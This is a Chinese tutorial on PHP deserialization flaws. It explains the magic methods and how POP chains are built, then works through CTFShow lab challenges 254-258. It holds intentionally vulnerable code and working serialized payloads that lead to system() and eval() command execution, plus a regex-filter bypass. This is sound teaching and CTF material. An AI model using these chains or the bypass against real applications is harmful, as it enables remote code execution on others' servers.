WEB攻防-第60天:PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改

目录

一、序列化与反序列化基础

1.1  什么是序列化与反序列化

二、魔术方法的生命周期

2.1  常见的魔术方法

2.2  模式方法的生命周期触发调用

2.2.1   __construct()

2.2.2   __destruct()

2.2.3   __sleep() 

 2.2.4   __wakeup()

2.2.5   __invoke()

2.2.6   __toString()

2.2.7   __call()

2.2.8   __callStatic()

2.2.9   __get()

2.2.10   __set()

2.2.11   __isset()

2.2.12   __unset()

2.2.13   __set_state()

2.2.14   __clone()

2.2.15   __autoload()

2.2.16   __debugInfo()

三、反序列化漏洞原理剖析

3.1  漏洞产生原理

3.2  简单案例

四、POP链

4.1  原理

4.2  典型场景

4.3  构造步骤

4.4  POP链三大核心要素

4.4.1  反序列化入口(起点)

4.4.2  危险方法(终点)

4.4.3  连接桥梁(链路)

4.4.4  POP链构造案例 

五、CTFSHOW题目

5.1  Web入门254-对象引用执行逻辑

5.2  Web入门255-反序列化变量修改

5.3  Web入门256-反序列化参数修改

5.4  Web入门257-反序列化参数修改&对象调用逻辑

5.5  Web入门258-反序列化参数修改&对象调用逻辑&正则 


一、序列化与反序列化基础

1.1  什么是序列化与反序列化

序列化是将对象转换为可存储/传输格式(字符串/字节流)的过程,反序列化则是将序列化后的数据还原为对象的过程。

这种机制常见于:

  • PHP:serialize()/unserialize()

  • Java:ObjectOutputStream/ObjectInputStream

  • Python:pickle模块

// PHP序列化示例
class User {
    public $name = "Alice";
    private $age = 20;
}

$obj = new User();
$ser = serialize($obj); 
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userage";i:20;}

$unser = unserialize($ser);  // 还原为User对象

序列化serialize():对象转换为数组或字符串等格式  

反序列化unserialize():将数组或字符串等格式转换成对象

在 PHP 中,serialize()函数仅对对象属性进行序列化,而不处理对象方法。它把对象属性转为字符串存入序列化结果,方便对象在文件存储、网络传输或不同请求间传递。因为方法定义在类中,类是对象模板,反序列化时 PHP 依据类重建对象并填充属性值,方法与类关联,无需序列化存储。另外,使用unserialize()反序列化时,必须提前定义好被反序列化对象所属的类,否则会报错 。

二、魔术方法的生命周期

2.1  常见的魔术方法

__construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用call函数。

__callStatic(): //在静态上下文中调用不可访问的方法时触发

get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用get函数

set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

_setstate(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

2.2  模式方法的生命周期触发调用

前置知识_语法解释:

  1. 双冒号(::):在 PHP 中,双冒号被称为范围解析操作符(Scope Resolution Operator,简称 SRO)。它主要用于访问类的静态成员(属性和方法),以及在子类中访问父类的成员。例如Example::__set_state($array); ,这里Example是类名,__set_state是类的静态方法,通过双冒号可以在类外部直接调用静态方法,而不需要先实例化类。静态方法和属性属于类本身,而不是类的某个实例,所以使用双冒号来明确是对类进行操作,而不是对类的对象进行操作。
  2. new关键字:用于创建类的实例(对象)。如$obj = new Example();,它会根据Example类的定义在内存中分配空间,创建一个Example类的对象,并将其赋值给变量$obj 。在创建对象的过程中,如果类中有__construct方法,会自动调用该方法进行初始化。
  3. unset()函数:用于销毁指定的变量。当作用于对象时,会触发对象的__destruct方法。例如unset($obj);,它会释放$obj变量所占用的内存空间,同时调用$obj所属类的__destruct方法,在该方法中可以进行一些清理工作,如关闭文件、释放数据库连接等。
  4. serialize()unserialize()函数:serialize()函数将 PHP 中的变量(如对象、数组等)转换为一个字符串,以便于存储或传输;unserialize()函数则是将序列化后的字符串还原为原来的变量。在序列化和反序列化对象时,会分别触发__sleep和__wakeup魔术方法。
  5. 对象调用方法的语法:$obj->methodName($args); 是 PHP 中调用对象方法的标准语法。$obj是类的实例(对象),methodName是对象的方法名,$args是传递给方法的参数(可以是多个参数,用逗号分隔)。如果调用的方法不存在,会触发__call魔术方法。而对于静态方法,调用语法为ClassName::methodName($args); ,如果静态方法不存在,会触发__callStatic魔术方法。
  6. isset()empty()函数:isset()函数用于检测变量是否已设置并且非NULL ,empty()函数用于检查一个变量是否为空(即""、0、"0"、NULL、FALSE、array() 以及声明但未赋值的变量都会被认为是空)。当对对象中不可访问的属性使用这两个函数时,会触发__isset魔术方法。
  7. var_dump()函数:用于输出变量的相关信息,包括变量的类型和值。当对对象使用var_dump()时,如果对象定义了__debugInfo方法,会调用该方法获取用于调试的信息并输出。.
  8. 中文乱码问题:加上header("Content-type: text/html; charset=utf-8");设置HTTP响应的头部信息,告诉浏览器当前输出的内容类型是HTML文档,并且字符集编码为UTF-8。

2.2.1   __construct()

__construct(): //构造函数,当对象new的时候会自动调用,即创建对象时调用,通常用作初始化参

<?php

header("Content-type: text/html; charset=utf-8");

class Example {
    public function __construct() {
        echo "__construct 方法被调用<br>";
    }
}

$obj = new Example();

2.2.2   __destruct()

__destruct()://析构函数,当对象被销毁时会被自动调用,主动unset销毁或者程序结束自动销毁都会触发

class Example {
    public function __destruct() {
        echo "__destruct 方法被调用<br>";
    }
}

$obj = new Example();
unset($obj); // 手动销毁对象,触发 __destruct 方法

2.2.3   __sleep() 

执行serialize函数时,__sleep方法被调用,返回需要序列化的属性数组。

class Example {
    public $data = "Hello, World!";
    public function __sleep() {
        echo "__sleep 方法被调用<br>";
        return array('data');
    }
}

$obj = new Example();
serialize($obj);

 2.2.4   __wakeup()

在unserialize时,__wakeup方法被调用,对反序列化后的对象进行初始化操作。

class Example {
    public $data;
    public function __wakeup() {
        echo "__wakeup 方法被调用<br>";
        $this->data = "初始化数据";
    }
}

$serialized = serialize(new Example());
$obj = unserialize($serialized);

2.2.5   __invoke()

当把对象当作函数调用时,__invoke方法被触发。

class Example {
    public function __invoke() {
        echo "__invoke 方法被调用<br>";
    }
}

$obj = new Example();
$obj(); // 像调用函数一样调用对象,触发 __invoke 方法

2.2.6   __toString()

在将对象当作字符串使用,如echo时,__toString方法被调用。

class Example {
    public $data = "测试数据";
    public function __toString() {
        echo "__toString 方法被调用<br>";
        return $this->data;
    }
}

$obj = new Example();
echo $obj;

2.2.7   __call()

当调用对象中不存在的方法时,__call方法被触发。

class Example {
    public function __call($method, $args) {
        echo "__call 方法被调用,调用的方法是:$method,参数是:". implode(', ', $args). "<br>";
    }
}

$obj = new Example();
$obj->nonexistentMethod('arg1', 'arg2'); // 调用不存在的方法,触发 __call 方法

2.2.8   __callStatic()

在静态上下文中调用不存在的方法时,__callStatic方法被触发。

class Example {
    public static function __callStatic($method, $args) {
        echo "__callStatic 方法被调用,调用的静态方法是:$method,参数是:". implode(', ', $args). "<br>";
    }
}

Example::nonexistentStaticMethod('arg1', 'arg2'); // 调用不存在的静态方法,触发 __callStatic 方法

2.2.9   __get()

当读取对象中不存在或不可访问的属性时,__get方法被调用。

class Example {
    private $hiddenData = "隐藏数据";
    public function __get($name) {
        echo "__get 方法被调用,获取的属性是:$name<br>";
        if ($name === 'hiddenData') {
            return $this->$name;
        }
    }
}

$obj = new Example();
echo $obj->hiddenData;

2.2.10   __set()

当设置对象中不存在或不可访问的属性时,__set方法被调用。

class Example {
    private $hiddenData;
    public function __set($name, $value) {
        echo "__set 方法被调用,设置的属性是:$name,值是:$value<br>";
        if ($name === 'hiddenData') {
            $this->$name = $value;
        }
    }
}

$obj = new Example();
$obj->hiddenData = "新值";

2.2.11   __isset()

在对不可访问的属性调用isset或empty时,__isset方法被触发。

class Example {
    private $hiddenData = "隐藏数据";
    public function __isset($name) {
        echo "__isset 方法被调用,检测的属性是:$name<br>";
        if ($name === 'hiddenData') {
            return isset($this->$name);
        }
    }
}

$obj = new Example();
isset($obj->hiddenData);

2.2.12   __unset()

在对不可访问的属性使用unset时,__unset方法被触发。

class Example {
    private $hiddenData = "隐藏数据";
    public function __unset($name) {
        echo "__unset 方法被调用,删除的属性是:$name<br>";
        if ($name === 'hiddenData') {
            unset($this->$name);
        }
    }
}

$obj = new Example();
unset($obj->hiddenData);

2.2.13   __set_state()

调用var_export导出类并使用__set_state还原时,__set_state方法被调用。

class Example {
    public $data;
    public static function __set_state($array) {
        echo "__set_state 方法被调用<br>";
        $obj = new self();
        $obj->data = $array['data'];
        return $obj;
    }
}

$array = ['data' => '测试数据'];
$obj = Example::__set_state($array);

2.2.14   __clone()

当对象被复制时,__clone方法被调用。

class Example {
    public $data = "原始数据";
    public function __clone() {
        echo "__clone 方法被调用<br>";
        $this->data = "克隆后的数据";
    }
}

$obj = new Example();
$cloneObj = clone $obj;

2.2.15   __autoload()

当尝试加载未定义的类时,__autoload方法被调用。

// 自动加载函数示例,实际应用中路径需根据项目结构调整
function __autoload($class) {
    echo "__autoload 方法被调用,加载的类是:$class<br>";
    require_once $class. '.php';
}

$obj = new NonexistentClass(); // 假设 NonexistentClass 类未定义,触发 __autoload 方法

2.2.16   __debugInfo()

在打印对象调试信息,如使用var_dump时,__debugInfo方法被调用。

class Example {
    private $data = "调试数据";
    public function __debugInfo() {
        echo "__debugInfo 方法被调用<br>";
        return ['data' => $this->data];
    }
}

$obj = new Example();
var_dump($obj);

三、反序列化漏洞原理剖析

3.1  漏洞产生原理

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。
  • 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

3.2  简单案例

<?php
 
class B{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
 
?>

在这段代码中, 可以看到,当这个类的对象被销毁时,__destruct方法就会自动执行。这里__destruct方法里用system函数执行$cmd里的命令。

虽然这里没有创建对象,但是对GTE['x']反序列化,所以我们自己可以构造一个序列化的对象传进来。可以想象成我们创建一个对象,传给他,等于在这段代码new了一个对象,代码执行完,也会销毁我们传进来的对象,进而触发__destruct方法

怎么构造呢?

上面已经说过,序列化函数仅对对象属性进行序列化,所以这里只需要考虑成员属性(变量)即可

<?php
 
class B{
    public $cmd = 'ver';
    }
 
$x = new B();
echo serialize($x);
 
?>

得到序列化 之后的值

构造 paylaod:?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

这里的乱码是因为cmd 一般默认是GBK,而我们header设置了utf-8

四、POP链

4.1  原理

POP(Property-Oriented Programming),即面向属性编程,看起来很复杂,确实很复杂,是反序列化漏洞利用中的核心技术。其核心思想是通过控制对象的属性值,引导程序执行流经过多个类的方法调用,最终触发危险操作(如代码执行、文件读写等)。

在 PHP 中,反序列化过程会自动触发一些魔术方法,如__wakeup()__destruct()等。同时,对象的属性值可以在反序列化时被攻击者控制。攻击者利用这些特性,通过构造包含特定属性值的序列化字符串,使得反序列化后的对象在执行过程中依次调用一系列方法,最终调用到能够执行危险操作的方法。

4.2  典型场景

  • 目标代码中没有直接在魔术方法中的危险操作

  • 危险代码分布在多个普通类的方法中

  • 需要通过属性连接多个类的方法调用

4.3  构造步骤

  1. 寻找危险函数:在目标代码中找出可能导致安全问题的函数,如system()(执行系统命令)、eval()(执行 PHP 代码)等。
  2. 分析类和方法:查看代码中定义的类和方法,特别是魔术方法和可能被调用的普通方法,找到能够调用危险函数的方法。
  3. 构建调用链:将不同类的方法和属性关联起来,形成一条从反序列化触发的魔术方法开始,最终调用到危险函数的调用链。
  4. 构造序列化数据:根据构建好的调用链,创建相应的对象,并将对象的属性设置为合适的值,然后将对象序列化,得到恶意的序列化字符串。

4.4  POP链三大核心要素

4.4.1  反序列化入口(起点)

  • 触发点unserialize()函数

  • 触发条件:反序列化后的对象会触发某些魔术方法

    // 常见触发点
    __destruct()  // 对象销毁时触发
    __wakeup()    // 反序列化完成后触发
    __toString()  // 对象被当作字符串使用时触发

4.4.2  危险方法(终点)

  • 包含可被利用的关键操作:

    eval()、system()       // 代码执行
    file_put_contents()   // 文件写入
    unserialize()         // 二次反序列化

4.4.3  连接桥梁(链路)

  • 通过对象属性连接多个方法调用:

    graph LR
    A[__destruct] -->|调用| B[ClassA->method1()]
    B -->|属性传递| C[ClassB->method2()]
    C -->|属性传递| D[ClassC->dangerMethod()]

4.4.4  POP链构造案例 

下面举一个简单的案例,也是理想情况下服务端存在中间类,注意这里方便测试理解,使用的都是public属性,一般使用的都是私有属性

<?php
// 服务端代码
class Logger {
    public $handler; // 修改为public以便更容易测试,但在实际场景中应保持private并添加适当的setter

    public function __construct() {
        $this->handler =  new FileHandler();
    }

    public function __destruct() {
        $this->handler->log(); // 触发点
    }
}

class FileHandler {
    public $filename = 'log.txt';
    public function log() {
        echo $filename;
    }
}

class Exploit {
    public $rce;

    public function log() {
        $this->rce->execute();
    }
}

class RCE {
    public $cmd;

    public function execute() {
        system($this->cmd);
    }
}

// 客户端输入处理
$data = $_GET['payload'];
unserialize($data);
?>

 攻击目标

通过反序列化触发RCE::execute()执行任意命令(如ver)。

POP链构造分析

步骤1:寻找调用路径

  1. 起点Logger::__destruct()必须调用log()方法

  2. 终点RCE::execute()需要被触发

  3. 缺失的桥梁:需要一个中间类将log()execute()连接
    需要把$this->handler->log();换成$this->handler->RCE::execute();

class Exploit {
    public $rce;

    public function log() {
        $this->rce->execute();
    }
}

可以看到Exploit中基调用了log方法,也调用execute方法,其实他就是中间桥梁

可以想象一下,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法

而Logger 因为__desturct方法必然会调用log,这就可以形成一个完整的调用链了

步骤2:逆推调用路径

1.把上面分析要用到的类和属性拷贝一份,也就是需要执行execute的终点类RCE,中间类Exploit,起点类Logger

<?php
class RCE {
    public $cmd;
}

class Exploit {
    public $rce;
}

class Logger {
    public $handler;
}

2.逆推调用关系

  • 首先从终点逆推,所以先创建一个RCE对象,并设置需要执行的命令,此时服务器反序列化就会得到一个cmd=‘ver’的对象
  • 根据上面分析我们知道Exploit是一个中间桥梁,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法,所以创建Exploit的对象,然后把$rce指向上面创建带有恶意代码执行的RCE对象
  • 最后Logger的$this->handler再指向Exploit对象,就形成了完整的调用链,把Logger序列化就得到了payload

完整调用链:

代码结束触发:Logger->handler->log

Logger->handler指向Exploit对象

调用Exploit对象的log方法

Exploit对象的log方法调用rce->execute

而rce执行的是RCE对象

最终调用RCE对象的execute方法

 套娃......

$rce = new RCE();
$rce->cmd = 'ver';

$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;

完整POP链代码

<?php
class RCE {
    public $cmd = 'ver';
}

class Exploit {
    public $rce;
}

class Logger {
    public $handler;
}

$rce = new RCE();
$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;
?>

payload:?payload=O:6:"Logger":1:{s:7:"handler";O:7:"Exploit":1:{s:3:"rce";O:3:"RCE":1:{s:3:"cmd";s:3:"ver";}}}

 大概就是这么个情况,下面ctfshow进一步了解下

五、CTFSHOW题目

5.1  Web入门254-对象引用执行逻辑

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

我个人习惯 从执行代码去链接调用的函数去分析

  1. 首先判断了是否传入username和password,有才进入if,所以password和username一定要传值
  2. $user是一个ctfShowUser对象
  3. 判断user对象下的login方法,这个时候去看login方法的逻辑,检查传入的username和password是否和定义的xxxxxx一致,如果一致让isVip等于ture
  4. 然后判断isVip等于ture就执行user下的vipOneKeyGetFlag,在这个方法中也是判断isVip等于ture就输出flag
  5. 根据3,就可以知道只需要传入username和password,并等于xxxxxx就可以让isVip等于ture

这道题没有涉及序列化,应该是让大家了解调用链的

5.2  Web入门255-反序列化变量修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  1. 可以看到 同样是需要传入username和password,通过cookie接收user并反序列化,注意cookie传入对象序列化需要URL编码,unserialize($_COOKIE['user']); 
  2. login的登录逻辑也是判断username和password等于xxxxxx
  3. 然后检查checkVip,但checkVip直接返回isVip,也就是初始值flase,所以需要让其等于true才可以调用vipOneKeyGetFlag获取flag
  4. 所以直接序列化操作属性即可

同样的把关键类和属性拷贝,然后修改属性,序列化,然后url编码就行

<?php
class ctfShowUser{
    public $isVip=true;
}

$c = new ctfShowUser();

echo urlencode(serialize($c));

 未编码:O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

url编码后:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

5.3  Web入门256-反序列化参数修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一关没太大区别,就是修改username和password不相等就行

<?php
class ctfShowUser{
    public $username='test';
    public $password='testtest';
    public $isVip=true; 
}

$c = new ctfShowUser();

echo urlencode(serialize($c));

 payload:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A8%3A%22testtest%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

不知道为啥hackbar穿不了cookie,但是上一题可以,知道的可以告诉我 

5.4  Web入门257-反序列化参数修改&对象调用逻辑

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

如果理解上面pop链的内容的话,这道题应该是易如反掌,因为原理是一样的,把执行的代码写入backDoor对象,然后把info对象换成backDoor对象就可以了

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
?>

可能有人会疑问,序列化不是不能处理方法吗,这个构造函数是特殊方法,在new的时候就执行了,这里主要是为了给$class赋值的,也可以不这么写,直接new了之后复制,如:


<?php
class ctfShowUser{
    public $class;
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
$c->class = new backDoor();
echo urlencode(serialize($c));
?>

通过构造函数生成的:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

直接赋值生成的:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

可以看到是一样的

5.5  Web入门258-反序列化参数修改&对象调用逻辑&正则 

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}



和上一题一样,只是过滤了O: 后面不能直接跟数字,我们可以给数字前面写个+,代表有符合正11,并没改变原意

上一题的payload:O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

修改后

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

代码如下:把O:替换为O:+即可


<?php
class ctfShowUser{
    public $class;
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
$c->class = new backDoor();
$payload = serialize($c);
$payload = str_replace('O:', 'O:+', $payload);
echo urlencode($payload);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/967788.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SQLMesh系列教程-2:SQLMesh入门项目实战(下篇)

上篇我介绍了环境搭建、duckdb数据准备、sqlmesh数据模型、plan命令运行。本文继续介绍审计、测试、生成血缘关系以及python模型等。 有两种方法可以在SQLMesh中创建宏。一种方法是使用Python&#xff0c;另一种方法是使用Jinja。这里我们创建Python宏。让我们构建简单的Python…

自主项目面试点总结

1、许苑–OJ判题系统 技术栈&#xff1a;Spring BootSpring Cloud AlibabaRedisMybatisMQDocker 项目地址: https://github.com/xuyuan-upward/xyoj-backend-microservice 1.1、项目介绍: 一个基于微服务的OJ系统&#xff0c;具备能够根据管理员预设的题目用例对用户提交的代…

Macbook Pro快速搭建Easysearch学习环境

在学习过程中&#xff0c;我们有时身边没有可用的服务器&#xff0c;这时就需要借助自己的 Mac 来安装和学习 Easysearch。然而&#xff0c;Easysearch 官网并未提供 Mac 版本的安装教程&#xff0c;下面我将详细整理我在 Mac 上安装和使用 Easysearch 的折腾经历。 Easysearc…

Arduino 第十三章:红外接收

Arduino 第十三章&#xff1a;红外接收 一、红外接收概述 红外接收在日常生活和电子制作中十分常见&#xff0c;像电视、空调等家电的遥控器就是利用红外信号来实现远程控制的。在 Arduino 项目里&#xff0c;借助红外接收模块能够让设备接收红外信号&#xff0c;进而实现诸如…

朝天椒USB服务器:解决加密狗远程连接

本文探讨朝天椒USB服务器用Usb Over Network技术&#xff0c;解决加密狗在虚拟机、云主机甚至异地的远程连接问题。 在企业数字化转型的浪潮中&#xff0c;加密狗作为防止软件盗版的重要手段&#xff0c;广泛应用于各类软件授权场景。然而&#xff0c;随着企业超融合进程不断加…

第二篇:电压与电流的“锡安之战”——电路定律在800V高压平台中的应用

——基尔霍夫与戴维南如何破解新能源汽车的“高压密码” 核心隐喻&#xff1a;电路定律的“数字起义” 在《黑客帝国》中&#xff0c;锡安的反抗军通过破解母体协议实现逆袭。而在新能源汽车的800V高压平台中&#xff0c; 基尔霍夫定律 和 戴维南定理 正是工程师手中的“通…

【牛客】动态规划专题一:斐波那契数列

文章目录 DP1 斐波那契数列法1&#xff1a;递归法2&#xff1a;动态规划法3&#xff1a;优化空间复杂度 2.分割连接字符串3. 给定一个字符串s和一组单词dict&#xff0c;在s中添加空格将s变成一个句子 DP1 斐波那契数列 法1&#xff1a;递归 // 递归 #include <iostream>…

innovus如何分步长func和dft时钟

在Innovus工具中&#xff0c;分步处理功能时钟&#xff08;func clock&#xff09;和DFT时钟&#xff08;如扫描测试时钟&#xff09;需要结合设计模式&#xff08;Function Mode和DFT Mode&#xff09;进行约束定义、时钟树综合&#xff08;CTS&#xff09;和时序分析。跟随分…

5-R循环

R 循环 ​ 有的时候&#xff0c;我们可能需要多次执行同一块代码。一般情况下&#xff0c;语句是按顺序执行的&#xff1a;函数中的第一个语句先执行&#xff0c;接着是第二个语句&#xff0c;依此类推。 编程语言提供了更为复杂执行路径的多种控制结构。 循环语句允许我们多…

DeepSeek AI R1推理大模型API集成文档

DeepSeek AI R1推理大模型API集成文档 引言 随着自然语言处理技术的飞速发展&#xff0c;大语言模型在各行各业的应用日益广泛。DeepSeek R1作为一款高性能、开源的大语言模型&#xff0c;凭借其强大的文本生成能力、高效的推理性能和灵活的接口设计&#xff0c;吸引了大量开发…

知识图谱_protege的安装

目录 1.下载protege 2.安装可视化工具Graphviz 3.配置 参考【知识图谱】3.Protege下载安装-CSDN博客 1.下载protege 我在官网下载不了所以我就没有在官网下载 项目首页 - Protege-5.5.0Windows版本快速下载指南:Protege是一个广受欢迎的、强大的知识建模工具&#xff0c;用…

从BERT到ChatGPT:大模型训练中的存储系统挑战与技术发展——论文泛读

计算机研究与发展 2024 Paper 论文阅读笔记整理 问题 以ChatGPT为代表的大模型在文字生成、语义理解等任务上表现卓越&#xff0c;但大模型的参数量在3年内增长数万倍&#xff0c;且仍呈现增长的趋势。大模型训练面临存储挑战&#xff0c;存储需求大&#xff0c;且具有独特的…

船舶维保管理系统

一、项目介绍 381.基于SpringBoot的船舶维保管理系统&#xff0c;系统包含四种角色&#xff1a;管理员、船家、维保人员、维保公司,系统分为前台和后台两大模块&#xff0c;主要功能如下。 船家&#xff1a; - 个人中心&#xff1a;管理个人信息。 - 公告管理&#xff1a;查看…

【详细版】DETR系列之Deformable DETR(2021 ICLR)

论文标题Deformable DETR: Deformable Transformers for End-to-End Object Detection论文作者Xizhou Zhu, Weijie Su, Lewei Lu, Bin Li, Xiaogang Wang, Jifeng Dai发表日期2021年03月01日GB引用> Xizhou Zhu, Weijie Su, Lewei Lu, et al. Deformable DETR: Deformable T…

从云原生到 AI 原生,谈谈我经历的网关发展历程和趋势

作者&#xff1a;谢吉宝&#xff08;唐三&#xff09; 编者按&#xff1a; 云原生 API 网关系列教程即将推出&#xff0c;欢迎文末查看教程内容。本文整理自阿里云智能集团资深技术专家&#xff0c;云原生产品线中间件负责人谢吉宝&#xff08;唐三&#xff09; 在云栖大会的精…

基于机器学习时序库pmdarima实现时序预测

目录 一、Pmdarima实现单变量序列预测1.1 核心功能与特性1.2 技术优势对比1.3 python案例1.3.1 时间序列交叉验证1.3.1.1 滚动交叉验证1.3.1.2 滑窗交叉验证 时间序列相关参考文章&#xff1a; 时间序列预测算法—ARIMA 基于VARMAX模型的多变量时序数据预测 基于机器学习时序库…

【文本处理】如何在批量WORD和txt文本提取手机号码,固话号码,提取邮箱,删除中文,删除英文,提取车牌号等等一些文本提取固定格式的操作,基于WPF的解决方案

